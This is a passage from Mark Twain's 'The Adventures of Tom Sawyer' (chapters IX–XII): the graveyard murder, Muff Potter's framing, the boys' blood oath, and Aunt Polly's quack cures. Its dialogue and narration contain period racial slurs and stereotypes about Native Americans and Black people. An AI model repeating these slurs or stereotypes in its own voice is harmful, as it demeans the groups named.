+The boys dressed themselves, hid their accoutre- +ments, and went off grieving that there were no out- +laws any more, and wondering what modern civiliza- +tion could claim to have done to compensate for their +loss. They said they would rather be outlaws a year +in Sherwood Forest than President of the United +States forever. + + +CHAPTER IX + +AT half-past nine, that night, Tom and +Sid were sent to bed, as usual. They +said their prayers, and Sid was soon +asleep. Tom lay awake and waited, in +restless impatience. When it seemed to +him that it must be nearly daylight, he +heard the clock strike ten! This was despair. He +would have tossed and fidgeted, as his nerves demanded, +but he was afraid he might wake Sid. So he lay +still, and stared up into the dark. Everything was +dismally still. By and by, out of the stillness, little, +scarcely preceptible noises began to emphasize them- +selves. The ticking of the clock began to bring it- +self into notice. Old beams began to crack mysteri- +ously. The stairs creaked faintly. Evidently spirits +were abroad. A measured, muffled snore issued +from Aunt Polly's chamber. And now the tiresome +chirping of a cricket that no human ingenuity could +locate, began. Next the ghastly ticking of a death- +watch in the wall at the bed's head made Tom shudder +-- it meant that somebody's days were numbered. +Then the howl of a far-off dog rose on the night air, +and was answered by a fainter howl from a remoter +distance. Tom was in an agony. At last he was +satisfied that time had ceased and eternity begun; he +began to doze, in spite of himself; the clock chimed +eleven, but he did not hear it. And then there came, +mingling with his half-formed dreams, a most mel- +ancholy caterwauling. The raising of a neighboring +window disturbed him. A cry of "Scat! you devil!" +and the crash of an empty bottle against the back of +his aunt's woodshed brought him wide awake, and a +single minute later he was dressed and out of the win- +dow and creeping along the roof of the "ell" on all +fours. He "meow'd" with caution once or twice, as +he went; then jumped to the roof of the woodshed and +thence to the ground. Huckleberry Finn was there, +with his dead cat. The boys moved off and disap- +peared in the gloom. At the end of half an hour they +were wading through the tall grass of the graveyard. + +It was a graveyard of the old-fashioned Western +kind. It was on a hill, about a mile and a half from +the village. It had a crazy board fence around it, +which leaned inward in places, and outward the rest +of the time, but stood upright nowhere. Grass and +weeds grew rank over the whole cemetery. All the +old graves were sunken in, there was not a tombstone +on the place; round-topped, worm-eaten boards stag- +gered over the graves, leaning for support and finding +none. "Sacred to the memory of" So-and-So had been +painted on them once, but it could no longer have been +read, on the most of them, now, even if there had +been light. + +A faint wind moaned through the trees, and Tom +feared it might be the spirits of the dead, complain- +ing at being disturbed. The boys talked little, and +only under their breath, for the time and the place +and the pervading solemnity and silence oppressed +their spirits. They found the sharp new heap they +were seeking, and ensconced themselves within the +protection of three great elms that grew in a bunch +within a few feet of the grave. + +Then they waited in silence for what seemed a long +time. The hooting of a distant owl was all the sound +that troubled the dead stillness. Tom's reflections +grew oppressive. He must force some talk. So he +said in a whisper: + +"Hucky, do you believe the dead people like it for +us to be here?" + +Huckleberry whispered: + +"I wisht I knowed. It's awful solemn like, AIN'T it?" + +"I bet it is." + +There was a considerable pause, while the boys +canvassed this matter inwardly. Then Tom whis- +pered: + +"Say, Hucky -- do you reckon Hoss Williams hears +us talking?" + +"O' course he does. Least his sperrit does." + +Tom, after a pause: + +"I wish I'd said Mister Williams. But I never +meant any harm. Everybody calls him Hoss." + +"A body can't be too partic'lar how they talk 'bout +these-yer dead people, Tom." + +This was a damper, and conversation died again. + +Presently Tom seized his comrade's arm and said: + +"Sh!" + +"What is it, Tom?" And the two clung together +with beating hearts. + +"Sh! There 'tis again! Didn't you hear it?" + +"I --" + +"There! Now you hear it." + +"Lord, Tom, they're coming! They're coming, +sure. What'll we do?" + +"I dono. Think they'll see us?" + +"Oh, Tom, they can see in the dark, same as cats. +I wisht I hadn't come." + +"Oh, don't be afeard. I don't believe they'll bother +us. We ain't doing any harm. If we keep perfectly +still, maybe they won't notice us at all." + +"I'll try to, Tom, but, Lord, I'm all of a shiver." + +"Listen!" + +The boys bent their heads together and scarcely +breathed. A muffled sound of voices floated up from +the far end of the graveyard. + +"Look! See there!" whispered Tom. "What is it?" + +"It's devil-fire. Oh, Tom, this is awful." + +Some vague figures approached through the gloom, +swinging an old-fashioned tin lantern that freckled +the ground with innumerable little spangles of light. +Presently Huckleberry whispered with a shudder: + +"It's the devils sure enough. Three of 'em! Lordy, +Tom, we're goners! Can you pray?" + +"I'll try, but don't you be afeard. They ain't going +to hurt us. 'Now I lay me down to sleep, I --'" + +"Sh!" + +"What is it, Huck?" + +"They're HUMANS! One of 'em is, anyway. One +of 'em's old Muff Potter's voice." + +"No -- 'tain't so, is it?" + +"I bet I know it. Don't you stir nor budge. He +ain't sharp enough to notice us. Drunk, the same as +usual, likely -- blamed old rip!" + +"All right, I'll keep still. Now they're stuck. +Can't find it. Here they come again. Now they're +hot. Cold again. Hot again. Red hot! They're +p'inted right, this time. Say, Huck, I know another +o' them voices; it's Injun Joe." + +"That's so -- that murderin' half-breed! I'd druther +they was devils a dern sight. What kin they be up +to?" + +The whisper died wholly out, now, for the three +men had reached the grave and stood within a few +feet of the boys' hiding-place. + +"Here it is," said the third voice; and the owner +of it held the lantern up and revealed the face of young +Doctor Robinson. + +Potter and Injun Joe were carrying a handbarrow +with a rope and a couple of shovels on it. They cast +down their load and began to open the grave. The +doctor put the lantern at the head of the grave and came +and sat down with his back against one of the elm trees. +He was so close the boys could have touched him. + +"Hurry, men!" he said, in a low voice; "the moon +might come out at any moment." + +They growled a response and went on digging. +For some time there was no noise but the grating +sound of the spades discharging their freight of mould +and gravel. It was very monotonous. Finally a spade +struck upon the coffin with a dull woody accent, and +within another minute or two the men had hoisted it +out on the ground. They pried off the lid with their +shovels, got out the body and dumped it rudely on the +ground. The moon drifted from behind the clouds +and exposed the pallid face. The barrow was got ready +and the corpse placed on it, covered with a blanket, +and bound to its place with the rope. Potter took out +a large spring-knife and cut off the dangling end of the +rope and then said: + +"Now the cussed thing's ready, Sawbones, and +you'll just out with another five, or here she stays." + +"That's the talk!" said Injun Joe. + +"Look here, what does this mean?" said the doctor. +"You required your pay in advance, and I've paid +you." + +"Yes, and you done more than that," said Injun +Joe, approaching the doctor, who was now standing. +"Five years ago you drove me away from your father's +kitchen one night, when I come to ask for something +to eat, and you said I warn't there for any good; and +when I swore I'd get even with you if it took a hundred +years, your father had me jailed for a vagrant. Did +you think I'd forget? The Injun blood ain't in me for +nothing. And now I've GOT you, and you got to SETTLE, +you know!" + +He was threatening the doctor, with his fist in his +face, by this time. The doctor struck out suddenly and +stretched the ruffian on the ground. Potter dropped +his knife, and exclaimed: + +"Here, now, don't you hit my pard!" and the next +moment he had grappled with the doctor and the two +were struggling with might and main, trampling the +grass and tearing the ground with their heels. Injun +Joe sprang to his feet, his eyes flaming with passion, +snatched up Potter's knife, and went creeping, catlike +and stooping, round and round about the combatants, +seeking an opportunity. All at once the doctor flung +himself free, seized the heavy headboard of Williams' +grave and felled Potter to the earth with it -- and in the +same instant the half-breed saw his chance and drove +the knife to the hilt in the young man's breast. He +reeled and fell partly upon Potter, flooding him with his +blood, and in the same moment the clouds blotted out the +dreadful spectacle and the two frightened boys went +speeding away in the dark. + +Presently, when the moon emerged again, Injun +Joe was standing over the two forms, contemplating +them. The doctor murmured inarticulately, gave a +long gasp or two and was still. The half-breed mut- +tered: + +"THAT score is settled -- damn you." + +Then he robbed the body. After which he put +the fatal knife in Potter's open right hand, and sat +down on the dismantled coffin. Three -- four -- five +minutes passed, and then Potter began to stir and +moan. His hand closed upon the knife; he raised +it, glanced at it, and let it fall, with a shudder. Then +he sat up, pushing the body from him, and gazed at it, +and then around him, confusedly. His eyes met Joe's. + +"Lord, how is this, Joe?" he said. + +"It's a dirty business," said Joe, without moving. + +"What did you do it for?" + +"I! I never done it!" + +"Look here! That kind of talk won't wash." + +Potter trembled and grew white. + +"I thought I'd got sober. I'd no business to drink +to-night. But it's in my head yet -- worse'n when we +started here. I'm all in a muddle; can't recollect any- +thing of it, hardly. Tell me, Joe -- HONEST, now, old +feller -- did I do it? Joe, I never meant to -- 'pon my +soul and honor, I never meant to, Joe. Tell me how +it was, Joe. Oh, it's awful -- and him so young and +promising." + +"Why, you two was scuffling, and he fetched you +one with the headboard and you fell flat; and then +up you come, all reeling and staggering like, and +snatched the knife and jammed it into him, just as +he fetched you another awful clip -- and here you've +laid, as dead as a wedge til now." + +"Oh, I didn't know what I was a-doing. I wish +I may die this minute if I did. It was all on account +of the whiskey and the excitement, I reckon. I never +used a weepon in my life before, Joe. I've fought, but +never with weepons. They'll all say that. Joe, don't +tell! Say you won't tell, Joe -- that's a good feller. I +always liked you, Joe, and stood up for you, too. Don't +you remember? You WON'T tell, WILL you, Joe?" And +the poor creature dropped on his knees before the stolid +murderer, and clasped his appealing hands. + +"No, you've always been fair and square with me, +Muff Potter, and I won't go back on you. There, now, +that's as fair as a man can say." + +"Oh, Joe, you're an angel. I'll bless you for this +the longest day I live." And Potter began to cry. + +"Come, now, that's enough of that. This ain't any +time for blubbering. You be off yonder way and I'll +go this. Move, now, and don't leave any tracks be- +hind you." + +Potter started on a trot that quickly increased to a +run. The half-breed stood looking after him. He +muttered: + +"If he's as much stunned with the lick and fud- +dled with the rum as he had the look of being, he +won't think of the knife till he's gone so far he'll be +afraid to come back after it to such a place by him- +self -- chicken-heart!" + +Two or three minutes later the murdered man, the +blanketed corpse, the lidless coffin, and the open grave +were under no inspection but the moon's. The still- +ness was complete again, too. + + +CHAPTER X + +THE two boys flew on and on, toward the +village, speechless with horror. They +glanced backward over their shoulders +from time to time, apprehensively, as +if they feared they might be followed. +Every stump that started up in their path +seemed a man and an enemy, and made them catch +their breath; and as they sped by some outlying cot- +tages that lay near the village, the barking of the +aroused watch-dogs seemed to give wings to their feet. + +"If we can only get to the old tannery before we +break down!" whispered Tom, in short catches be- +tween breaths. "I can't stand it much longer." + +Huckleberry's hard pantings were his only reply, +and the boys fixed their eyes on the goal of their hopes +and bent to their work to win it. They gained steadily +on it, and at last, breast to breast, they burst through +the open door and fell grateful and exhausted in the +sheltering shadows beyond. By and by their pulses +slowed down, and Tom whispered: + +"Huckleberry, what do you reckon'll come of this?" + +"If Doctor Robinson dies, I reckon hanging'll come +of it." + +"Do you though?" + +"Why, I KNOW it, Tom." + +Tom thought a while, then he said: + +"Who'll tell? We?" + +"What are you talking about? S'pose something +happened and Injun Joe DIDN'T hang? Why, he'd +kill us some time or other, just as dead sure as we're +a laying here." + +"That's just what I was thinking to myself, Huck." + +"If anybody tells, let Muff Potter do it, if he's fool +enough. He's generally drunk enough." + +Tom said nothing -- went on thinking. Presently +he whispered: + +"Huck, Muff Potter don't know it. How can he +tell?" + +"What's the reason he don't know it?" + +"Because he'd just got that whack when Injun +Joe done it. D'you reckon he could see anything? +D'you reckon he knowed anything?" + +"By hokey, that's so, Tom!" + +"And besides, look-a-here -- maybe that whack done +for HIM!" + +"No, 'taint likely, Tom. He had liquor in him; +I could see that; and besides, he always has. Well, +when pap's full, you might take and belt him over +the head with a church and you couldn't phase him. +He says so, his own self. So it's the same with Muff +Potter, of course. But if a man was dead sober, +I reckon maybe that whack might fetch him; I +dono." + +After another reflective silence, Tom said: + +"Hucky, you sure you can keep mum?" + +"Tom, we GOT to keep mum. You know that. +That Injun devil wouldn't make any more of drownd- +ing us than a couple of cats, if we was to squeak 'bout +this and they didn't hang him. Now, look-a-here, +Tom, less take and swear to one another -- that's what +we got to do -- swear to keep mum." + +"I'm agreed. It's the best thing. Would you +just hold hands and swear that we --" + +"Oh no, that wouldn't do for this. That's good +enough for little rubbishy common things -- specially +with gals, cuz THEY go back on you anyway, and blab +if they get in a huff -- but there orter be writing 'bout +a big thing like this. And blood." + +Tom's whole being applauded this idea. It was +deep, and dark, and awful; the hour, the circum- +stances, the surroundings, were in keeping with it. +He picked up a clean pine shingle that lay in the moon- +light, took a little fragment of "red keel" out of his +pocket, got the moon on his work, and painfully scrawl- +ed these lines, emphasizing each slow down-stroke by +clamping his tongue between his teeth, and letting up +the pressure on the up-strokes. [See next page.] + + "Huck Finn and + Tom Sawyer swears + they will keep mum + about This and They + wish They may Drop + down dead in Their + Tracks if They ever + Tell and Rot. + +Huckleberry was filled with admiration of Tom's +facility in writing, and the sublimity of his language. +He at once took a pin from his lapel and was going +to prick his flesh, but Tom said: + +"Hold on! Don't do that. A pin's brass. It +might have verdigrease on it." + +"What's verdigrease?" + +"It's p'ison. That's what it is. You just swaller +some of it once -- you'll see." + +So Tom unwound the thread from one of his needles, +and each boy pricked the ball of his thumb and squeezed +out a drop of blood. In time, after many squeezes, +Tom managed to sign his initials, using the ball of his +little finger for a pen. Then he showed Huckleberry +how to make an H and an F, and the oath was com- +plete. They buried the shingle close to the wall, with +some dismal ceremonies and incantations, and the +fetters that bound their tongues were considered to be +locked and the key thrown away. + +A figure crept stealthily through a break in the +other end of the ruined building, now, but they did +not notice it. + +"Tom," whispered Huckleberry, "does this keep +us from EVER telling -- ALWAYS?" + +"Of course it does. It don't make any difference +WHAT happens, we got to keep mum. We'd drop +down dead -- don't YOU know that?" + +"Yes, I reckon that's so." + +They continued to whisper for some little time. +Presently a dog set up a long, lugubrious howl just +outside -- within ten feet of them. The boys clasped +each other suddenly, in an agony of fright. + +"Which of us does he mean?" gasped Huckle- +berry. + +"I dono -- peep through the crack. Quick!" + +"No, YOU, Tom!" + +"I can't -- I can't DO it, Huck!" + +"Please, Tom. There 'tis again!" + +"Oh, lordy, I'm thankful!" whispered Tom. "I +know his voice. It's Bull Harbison." * + +[* If Mr. Harbison owned a slave named Bull, Tom +would have spoken of him as "Harbison's Bull," but +a son or a dog of that name was "Bull Harbison."] + +"Oh, that's good -- I tell you, Tom, I was most +scared to death; I'd a bet anything it was a STRAY dog." + +The dog howled again. The boys' hearts sank +once more. + +"Oh, my! that ain't no Bull Harbison!" whispered +Huckleberry. "DO, Tom!" + +Tom, quaking with fear, yielded, and put his eye +to the crack. His whisper was hardly audible when +he said: + +"Oh, Huck, IT S A STRAY DOG!" + +"Quick, Tom, quick! Who does he mean?" + +"Huck, he must mean us both -- we're right to- +gether." + +"Oh, Tom, I reckon we're goners. I reckon there +ain't no mistake 'bout where I'LL go to. I been so +wicked." + +"Dad fetch it! This comes of playing hookey and +doing everything a feller's told NOT to do. I might a +been good, like Sid, if I'd a tried -- but no, I wouldn't, +of course. But if ever I get off this time, I lay I'll just +WALLER in Sunday-schools!" And Tom began to snuffle +a little. + +"YOU bad!" and Huckleberry began to snuffle too. +"Consound it, Tom Sawyer, you're just old pie, 'long- +side o' what I am. Oh, LORDY, lordy, lordy, I wisht I +only had half your chance." + +Tom choked off and whispered: + +"Look, Hucky, look! He's got his BACK to us!" + +Hucky looked, with joy in his heart. + +"Well, he has, by jingoes! Did he before?" + +"Yes, he did. But I, like a fool, never thought. +Oh, this is bully, you know. NOW who can he mean?" + +The howling stopped. Tom pricked up his ears. + +"Sh! What's that?" he whispered. + +"Sounds like -- like hogs grunting. No -- it's some- +body snoring, Tom." + +"That IS it! Where 'bouts is it, Huck?" + +"I bleeve it's down at 'tother end. Sounds so, +anyway. Pap used to sleep there, sometimes, 'long +with the hogs, but laws bless you, he just lifts things +when HE snores. Besides, I reckon he ain't ever com- +ing back to this town any more." + +The spirit of adventure rose in the boys' souls once +more. + +"Hucky, do you das't to go if I lead?" + +"I don't like to, much. Tom, s'pose it's Injun Joe!" + +Tom quailed. But presently the temptation rose +up strong again and the boys agreed to try, with the +understanding that they would take to their heels if +the snoring stopped. So they went tiptoeing stealth- +ily down, the one behind the other. When they had +got to within five steps of the snorer, Tom stepped on +a stick, and it broke with a sharp snap. The man +moaned, writhed a little, and his face came into the +moonlight. It was Muff Potter. The boys' hearts +had stood still, and their hopes too, when the man +moved, but their fears passed away now. They tip- +toed out, through the broken weather-boarding, and +stopped at a little distance to exchange a parting word. +That long, lugubrious howl rose on the night air again! +They turned and saw the strange dog standing within +a few feet of where Potter was lying, and FACING Potter, +with his nose pointing heavenward. + +"Oh, geeminy, it's HIM!" exclaimed both boys, in a +breath. + +"Say, Tom -- they say a stray dog come howling +around Johnny Miller's house, 'bout midnight, as +much as two weeks ago; and a whippoorwill come +in and lit on the banisters and sung, the very same +evening; and there ain't anybody dead there yet." + +"Well, I know that. And suppose there ain't. +Didn't Gracie Miller fall in the kitchen fire and burn +herself terrible the very next Saturday?" + +"Yes, but she ain't DEAD. And what's more, she's +getting better, too." + +"All right, you wait and see. She's a goner, just +as dead sure as Muff Potter's a goner. That's what +the niggers say, and they know all about these kind +of things, Huck." + +Then they separated, cogitating. When Tom crept +in at his bedroom window the night was almost spent. +He undressed with excessive caution, and fell asleep +congratulating himself that nobody knew of his esca- +pade. He was not aware that the gently-snoring Sid +was awake, and had been so for an hour. + +When Tom awoke, Sid was dressed and gone. +There was a late look in the light, a late sense in the +atmosphere. He was startled. Why had he not been +called -- persecuted till he was up, as usual? The +thought filled him with bodings. Within five minutes +he was dressed and down-stairs, feeling sore and +drowsy. The family were still at table, but they had +finished breakfast. There was no voice of rebuke; +but there were averted eyes; there was a silence and an +air of solemnity that struck a chill to the culprit's heart. +He sat down and tried to seem gay, but it was up-hill +work; it roused no smile, no response, and he lapsed +into silence and let his heart sink down to the depths. + +After breakfast his aunt took him aside, and Tom +almost brightened in the hope that he was going to +be flogged; but it was not so. His aunt wept over +him and asked him how he could go and break her +old heart so; and finally told him to go on, and ruin +himself and bring her gray hairs with sorrow to the +grave, for it was no use for her to try any more. This +was worse than a thousand whippings, and Tom's +heart was sorer now than his body. He cried, he +pleaded for forgiveness, promised to reform over and +over again, and then received his dismissal, feeling that +he had won but an imperfect forgiveness and established +but a feeble confidence. + +He left the presence too miserable to even feel re- +vengeful toward Sid; and so the latter's prompt retreat +through the back gate was unnecessary. He moped +to school gloomy and sad, and took his flogging, along +with Joe Harper, for playing hookey the day before, +with the air of one whose heart was busy with heavier +woes and wholly dead to trifles. Then he betook him- +self to his seat, rested his elbows on his desk and his +jaws in his hands, and stared at the wall with the stony +stare of suffering that has reached the limit and can +no further go. His elbow was pressing against some +hard substance. After a long time he slowly and +sadly changed his position, and took up this object +with a sigh. It was in a paper. He unrolled it. A +long, lingering, colossal sigh followed, and his heart +broke. It was his brass andiron knob! + +This final feather broke the camel's back. + + +CHAPTER XI + +CLOSE upon the hour of noon the whole +village was suddenly electrified with the +ghastly news. No need of the as yet un- +dreamed-of telegraph; the tale flew from +man to man, from group to group, from +house to house, with little less than tele- +graphic speed. Of course the schoolmaster gave holi- +day for that afternoon; the town would have thought +strangely of him if he had not. + +A gory knife had been found close to the murdered +man, and it had been recognized by somebody as be- +longing to Muff Potter -- so the story ran. And it was +said that a belated citizen had come upon Potter wash- +ing himself in the "branch" about one or two o'clock +in the morning, and that Potter had at once sneaked +off -- suspicious circumstances, especially the washing +which was not a habit with Potter. It was also said +that the town had been ransacked for this "murderer" +(the public are not slow in the matter of sifting evidence +and arriving at a verdict), but that he could not be +found. Horsemen had departed down all the roads +in every direction, and the Sheriff "was confident" +that he would be captured before night. + +All the town was drifting toward the graveyard. +Tom's heartbreak vanished and he joined the pro- +cession, not because he would not a thousand times +rather go anywhere else, but because an awful, un- +accountable fascination drew him on. Arrived at the +dreadful place, he wormed his small body through +the crowd and saw the dismal spectacle. It seemed +to him an age since he was there before. Somebody +pinched his arm. He turned, and his eyes met Huckle- +berry's. Then both looked elsewhere at once, and +wondered if anybody had noticed anything in their +mutual glance. But everybody was talking, and intent +upon the grisly spectacle before them. + +"Poor fellow!" "Poor young fellow!" "This ought +to be a lesson to grave robbers!" "Muff Potter'll hang +for this if they catch him!" This was the drift of re- +mark; and the minister said, "It was a judgment; His +hand is here." + +Now Tom shivered from head to heel; for his eye +fell upon the stolid face of Injun Joe. At this moment +the crowd began to sway and struggle, and voices +shouted, "It's him! it's him! he's coming himself!" + +"Who? Who?" from twenty voices. + +"Muff Potter!" + +"Hallo, he's stopped! -- Look out, he's turning! +Don't let him get away!" + +People in the branches of the trees over Tom's head +said he wasn't trying to get away -- he only looked +doubtful and perplexed. + +"Infernal impudence!" said a bystander; "wanted +to come and take a quiet look at his work, I reckon -- +didn't expect any company." + +The crowd fell apart, now, and the Sheriff came +through, ostentatiously leading Potter by the arm. +The poor fellow's face was haggard, and his eyes +showed the fear that was upon him. When he stood +before the murdered man, he shook as with a palsy, +and he put his face in his hands and burst into tears. + +"I didn't do it, friends," he sobbed; "'pon my word +and honor I never done it." + +"Who's accused you?" shouted a voice. + +This shot seemed to carry home. Potter lifted his +face and looked around him with a pathetic hope- +lessness in his eyes. He saw Injun Joe, and exclaimed: + +"Oh, Injun Joe, you promised me you'd never --" + +"Is that your knife?" and it was thrust before him +by the Sheriff. + +Potter would have fallen if they had not caught him +and eased him to the ground. Then he said: + +"Something told me 't if I didn't come back and +get --" He shuddered; then waved his nerveless hand +with a vanquished gesture and said, "Tell 'em, Joe, +tell 'em -- it ain't any use any more." + +Then Huckleberry and Tom stood dumb and star- +ing, and heard the stony-hearted liar reel off his se- +rene statement, they expecting every moment that the +clear sky would deliver God's lightnings upon his head, +and wondering to see how long the stroke was delayed. +And when he had finished and still stood alive and +whole, their wavering impulse to break their oath and +save the poor betrayed prisoner's life faded and vanished +away, for plainly this miscreant had sold himself to +Satan and it would be fatal to meddle with the property +of such a power as that. + +"Why didn't you leave? What did you want to +come here for?" somebody said. + +"I couldn't help it -- I couldn't help it," Potter +moaned. "I wanted to run away, but I couldn't seem +to come anywhere but here." And he fell to sobbing +again. + +Injun Joe repeated his statement, just as calmly, +a few minutes afterward on the inquest, under oath; +and the boys, seeing that the lightnings were still +withheld, were confirmed in their belief that Joe had +sold himself to the devil. He was now become, to +them, the most balefully interesting object they had +ever looked upon, and they could not take their fas- +cinated eyes from his face. + +They inwardly resolved to watch him nights, when +opportunity should offer, in the hope of getting a glimpse +of his dread master. + +Injun Joe helped to raise the body of the murdered +man and put it in a wagon for removal; and it was +whispered through the shuddering crowd that the +wound bled a little! The boys thought that this happy +circumstance would turn suspicion in the right direction; +but they were disappointed, for more than one villager +remarked: + +"It was within three feet of Muff Potter when it +done it." + +Tom's fearful secret and gnawing conscience dis- +turbed his sleep for as much as a week after this; and +at breakfast one morning Sid said: + +"Tom, you pitch around and talk in your sleep so +much that you keep me awake half the time." + +Tom blanched and dropped his eyes. + +"It's a bad sign," said Aunt Polly, gravely. "What +you got on your mind, Tom?" + +"Nothing. Nothing 't I know of." But the boy's +hand shook so that he spilled his coffee. + +"And you do talk such stuff," Sid said. "Last +night you said, 'It's blood, it's blood, that's what it is!' +You said that over and over. And you said, 'Don't +torment me so -- I'll tell!' Tell WHAT? What is it you'll +tell?" + +Everything was swimming before Tom. There is +no telling what might have happened, now, but luckily +the concern passed out of Aunt Polly's face and she +came to Tom's relief without knowing it. She said: + +"Sho! It's that dreadful murder. I dream about +it most every night myself. Sometimes I dream it's +me that done it." + +Mary said she had been affected much the same +way. Sid seemed satisfied. Tom got out of the +presence as quick as he plausibly could, and after that +he complained of toothache for a week, and tied up +his jaws every night. He never knew that Sid lay +nightly watching, and frequently slipped the bandage +free and then leaned on his elbow listening a good while +at a time, and afterward slipped the bandage back to +its place again. Tom's distress of mind wore off +gradually and the toothache grew irksome and was +discarded. If Sid really managed to make anything +out of Tom's disjointed mutterings, he kept it to him- +self. + +It seemed to Tom that his schoolmates never would +get done holding inquests on dead cats, and thus +keeping his trouble present to his mind. Sid noticed +that Tom never was coroner at one of these inquiries, +though it had been his habit to take the lead in all +new enterprises; he noticed, too, that Tom never acted +as a witness -- and that was strange; and Sid did not +overlook the fact that Tom even showed a marked +aversion to these inquests, and always avoided them +when he could. Sid marvelled, but said nothing. How- +ever, even inquests went out of vogue at last, and ceased +to torture Tom's conscience. + +Every day or two, during this time of sorrow, Tom +watched his opportunity and went to the little grated +jail-window and smuggled such small comforts through +to the "murderer" as he could get hold of. The jail +was a trifling little brick den that stood in a marsh at +the edge of the village, and no guards were afforded for +it; indeed, it was seldom occupied. These offerings +greatly helped to ease Tom's conscience. + +The villagers had a strong desire to tar-and-feather +Injun Joe and ride him on a rail, for body-snatching, +but so formidable was his character that nobody could +be found who was willing to take the lead in the matter, +so it was dropped. He had been careful to begin both +of his inquest-statements with the fight, without con- +fessing the grave-robbery that preceded it; therefore +it was deemed wisest not to try the case in the courts +at present. + + +CHAPTER XII + +ONE of the reasons why Tom's mind had +drifted away from its secret troubles was, +that it had found a new and weighty +matter to interest itself about. Becky +Thatcher had stopped coming to school. +Tom had struggled with his pride a few +days, and tried to "whistle her down the wind," but +failed. He began to find himself hanging around her +father's house, nights, and feeling very miserable. She +was ill. What if she should die! There was dis- +traction in the thought. He no longer took an interest +in war, nor even in piracy. The charm of life was +gone; there was nothing but dreariness left. He put +his hoop away, and his bat; there was no joy in them +any more. His aunt was concerned. She began to try +all manner of remedies on him. She was one of those +people who are infatuated with patent medicines and +all new-fangled methods of producing health or mending +it. She was an inveterate experimenter in these things. +When something fresh in this line came out she was in a +fever, right away, to try it; not on herself, for she was +never ailing, but on anybody else that came handy. +She was a subscriber for all the "Health" periodicals +and phrenological frauds; and the solemn ignorance +they were inflated with was breath to her nostrils. +All the "rot" they contained about ventilation, and +how to go to bed, and how to get up, and what to +eat, and what to drink, and how much exercise to +take, and what frame of mind to keep one's self in, +and what sort of clothing to wear, was all gospel to +her, and she never observed that her health-journals +of the current month customarily upset everything +they had recommended the month before. She was +as simple-hearted and honest as the day was long, +and so she was an easy victim. She gathered together +her quack periodicals and her quack medicines, and +thus armed with death, went about on her pale horse, +metaphorically speaking, with "hell following after." +But she never suspected that she was not an angel of +healing and the balm of Gilead in disguise, to the +suffering neighbors. + +The water treatment was new, now, and Tom's low +condition was a windfall to her. She had him out at +daylight every morning, stood him up in the wood- +shed and drowned him with a deluge of cold water; +then she scrubbed him down with a towel like a +file, and so brought him to; then she rolled him +up in a wet sheet and put him away under blank- +ets till she sweated his soul clean and "the yel- +low stains of it came through his pores" -- as Tom +said. + +Yet notwithstanding all this, the boy grew more +and more melancholy and pale and dejected. She +added hot baths, sitz baths, shower baths, and plunges. +The boy remained as dismal as a hearse. She began +to assist the water with a slim oatmeal diet and blister- +plasters. She calculated his capacity as she would a +jug's, and filled him up every day with quack cure-alls. + +Tom had become indifferent to persecution by this +time. This phase filled the old lady's heart with +consternation. This indifference must be broken up +at any cost. Now she heard of Pain-killer for the +first time. She ordered a lot at once. She tasted it +and was filled with gratitude. It was simply fire in a +liquid form. She dropped the water treatment and +everything else, and pinned her faith to Pain-killer. +She gave Tom a teaspoonful and watched with the +deepest anxiety for the result. Her troubles were in- +stantly at rest, her soul at peace again; for the "in- +difference" was broken up. The boy could not have +shown a wilder, heartier interest, if she had built a fire +under him. + +Tom felt that it was time to wake up; this sort of +life might be romantic enough, in his blighted con- +dition, but it was getting to have too little sentiment +and too much distracting variety about it. So he +thought over various plans for relief, and finally hit +pon that of professing to be fond of Pain-killer. He +asked for it so often that he became a nuisance, and +his aunt ended by telling him to help himself and quit +bothering her. If it had been Sid, she would have had +no misgivings to alloy her delight; but since it was Tom, +she watched the bottle clandestinely. She found that +the medicine did really diminish, but it did not occur +to her that the boy was mending the health of a crack +in the sitting-room floor with it. + +One day Tom was in the act of dosing the crack +when his aunt's yellow cat came along, purring, ey- +ing the teaspoon avariciously, and begging for a taste. +Tom said: + +"Don't ask for it unless you want it, Peter." + +But Peter signified that he did want it. + +"You better make sure." + +Peter was sure. + +"Now you've asked for it, and I'll give it to you, +because there ain't anything mean about me; but +if you find you don't like it, you mustn't blame any- +body but your own self." + +Peter was agreeable. So Tom pried his mouth +open and poured down the Pain-killer. Peter sprang +a couple of yards in the air, and then delivered a +war-whoop and set off round and round the room, +banging against furniture, upsetting flower-pots, and +making general havoc. Next he rose on his hind +feet and pranced around, in a frenzy of enjoyment, +with his head over his shoulder and his voice pro- +claiming his unappeasable happiness. Then he went +tearing around the house again spreading chaos and +destruction in his path. Aunt Polly entered in time +to see him throw a few double summersets, deliver a +final mighty hurrah, and sail through the open window, +carrying the rest of the flower-pots with him. The +old lady stood petrified with astonishment, peering +over her glasses; Tom lay on the floor expiring with +laughter. + +"Tom, what on earth ails that cat?" + +"I don't know, aunt," gasped the boy. + +"Why, I never see anything like it. What did make +him act so?" + +"Deed I don't know, Aunt Polly; cats always act +so when they're having a good time." + +"They do, do they?" There was something in the +tone that made Tom apprehensive. + +"Yes'm. That is, I believe they do." + +"You DO?" + +"Yes'm." + +The old lady was bending down, Tom watching, +with interest emphasized by anxiety. Too late he +divined her "drift." The handle of the telltale tea- +spoon was visible under the bed-valance. Aunt Polly +took it, held it up. Tom winced, and dropped his eyes. +Aunt Polly raised him by the usual handle -- his ear -- +and cracked his head soundly with her thimble. + +"Now, sir, what did you want to treat that poor +dumb beast so, for?" + +"I done it out of pity for him -- because he hadn't +any aunt." + +"Hadn't any aunt! -- you numskull. What has that +got to do with it?" + +"Heaps. Because if he'd had one she'd a burnt +him out herself! She'd a roasted his bowels out of him +'thout any more feeling than if he was a human!" + +Aunt Polly felt a sudden pang of remorse. This +was putting the thing in a new light; what was cruelty +to a cat MIGHT be cruelty to a boy, too. She began to +soften; she felt sorry. Her eyes watered a little, and +she put her hand on Tom's head and said gently: + +"I was meaning for the best, Tom. And, Tom, it +DID do you good." + +Tom looked up in her face with just a perceptible +twinkle peeping through his gravity. + +"I know you was meaning for the best, aunty, and +so was I with Peter. It done HIM good, too. I never +see him get around so since --" + +"Oh, go 'long with you, Tom, before you aggravate +me again. And you try and see if you can't be a good +boy, for once, and you needn't take any more medicine." + +Tom reached school ahead of time. It was noticed +that this strange thing had been occurring every day +latterly. And now, as usual of late, he hung about +the gate of the schoolyard instead of playing with his +comrades. He was sick, he said, and he looked it. +He tried to seem to be looking everywhere but whither +he really was looking -- down the road. Presently +Jeff Thatcher hove in sight, and Tom's face lighted; +he gazed a moment, and then turned sorrowfully away. +When Jeff arrived, Tom accosted him; and "led up" +warily to opportunities for remark about Becky, but +the giddy lad never could see the bait. Tom watched +and watched, hoping whenever a frisking frock came in +sight, and hating the owner of it as soon as he saw she +was not 